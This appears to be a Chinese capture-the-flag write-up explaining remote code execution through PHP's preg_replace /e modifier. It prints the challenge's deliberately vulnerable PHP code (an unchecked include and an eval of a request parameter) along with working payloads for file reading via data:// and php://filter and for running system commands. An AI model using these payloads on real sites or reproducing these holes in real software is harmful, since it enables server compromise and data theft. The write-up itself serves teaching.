preg_replace /e 模式下的代码执行问题
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
text用data协议,file用php协议
payload:
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
base64解码得next.php代码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
代码大致是接受get请求方式的字符,参数名为$re,参数内容为$str。接着就进入complex函数为本题重点。
preg_replace函数第一个参数和第三个参数可控,但是第二个不可控。/e模式下第二个参数会当作php代码执行,但是本题不可控。找到一篇文章解释了如何代码执行
大致是第一个参数两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问。
第二个参数刚好又是匹配第一个临时缓冲区的意思
payload:
\S*=${getFlag()}&cmd=system('ls');
preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); preg_replace('/(\\S*)/ei', 'strtolower("\\1")', {${phpinfo()}});
以上就可以命令执行,但是本题flag是在phpinfo中
payload:
\S*=${phpinfo()}